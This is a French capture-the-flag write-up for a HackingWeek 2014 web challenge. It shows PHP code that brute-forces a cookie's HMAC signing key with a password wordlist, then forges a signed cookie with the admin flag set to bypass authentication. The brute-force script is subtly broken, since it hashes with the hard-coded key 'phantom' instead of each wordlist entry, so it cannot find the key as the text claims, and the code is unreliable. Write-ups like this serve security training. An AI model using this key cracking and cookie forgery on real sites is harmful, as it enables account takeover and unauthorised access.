Code source disponible pour cette épreuve : https://repo.zenk-security.com/hackingweek2014_ctf/web4.zip
Le but de cette épreuve est de se retrouver authentifier sur la page auth.php, pour cela, il faut avoir un cookie valide, mais c'est quoi un cookie valide ?
(isset($_COOKIE['PHPSESSID2'])) or die("Oops! This page appears broken - Access error.");
$user = User::CreateFromCookie($_COOKIE['PHPSESSID2']);
if (($user == null) OR ($user->IsAdmin() === false))
die("Oops! This page appears broken - Access error.");
echo "Success! The password is \"" . $secretpassword4 . "\".";
Allons voir la fonction CreateFromCookie.
public static function CreateFromCookie($cookie)
{
global $hash_secret;
$temp = explode(urlencode(" "), $cookie, 2);
if (count($temp) != 2)
return null;
$cookie = $temp[0];
$sign = $temp[1];
if (hash_hmac('sha256', $cookie, $hash_secret) != $sign)
return null;
$cookie = urldecode($cookie);
$cookie = base64_decode($cookie);
$cookie = explode("::", $cookie, 4);
if (count($cookie) != 4)
return null;
$_id = htmlspecialchars($cookie[0], ENT_QUOTES);
$_username = htmlspecialchars($cookie[1], ENT_QUOTES);
$_password = htmlspecialchars($cookie[2], ENT_QUOTES);
$_admin = htmlspecialchars($cookie[3], ENT_QUOTES);
$user = new User($_id, $_username, $_password, $_admin);
return $user;
}
Chaque cookie est signé avec un hmac en sha256 du cookie avec une clef inconnu.
On connait déjà un couple $cookie et le résultat du hmac, plus qu'à faire un bête bruteforce par dictionnaire.
<?php
// 1::kevin12::bdbcddd194e30720adeebc71e3500abe::0
$data = 'MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D';
$handle = fopen('rockyou.txt', 'r');
if ($handle) {
while (($line = fgets($handle)) !== false) {
$secret = trim($line);
$hash = hash_hmac('sha256', $data, 'phantom');
if ($hash == '5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39') {
die($secret);
}
}
}
else {
echo('Cannot open wordlist...');
}
/*
PHPSESSID2=MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%253D%2B%2B5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39
MTo6a2V2aW4xMjo6YmRiY2RkZDE5NGUzMDcyMGFkZWViYzcxZTM1MDBhYmU6OjA%3D
5bc1ecb32c80ecec537596c4968e6ac3e5ca07979074a7ec63211e70eb3aef39
*/
?>
Ce fichier nous donne phantom comme $hash_secret, on a trouvé la clef.
Reste plus qu'à chiffrer un compte :)
<?php
// MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D++8ce1d10d87351827e0435d8099614ec34f90986cf28fef2ca6c36db42b71cc53
// 1337::tapz::2c471313f06370d0866db1facb34668e::1
// id::username::password::admin
// tapz:tapz
$hash = hash_hmac('sha256', 'MTMzNzo6dGFwejo6MmM0NzEzMTNmMDYzNzBkMDg2NmRiMWZhY2IzNDY2OGU6OjE%3D', 'phantom');
echo($hash);
?>
On se connecte avec tapz:tapz et le flag est à nous !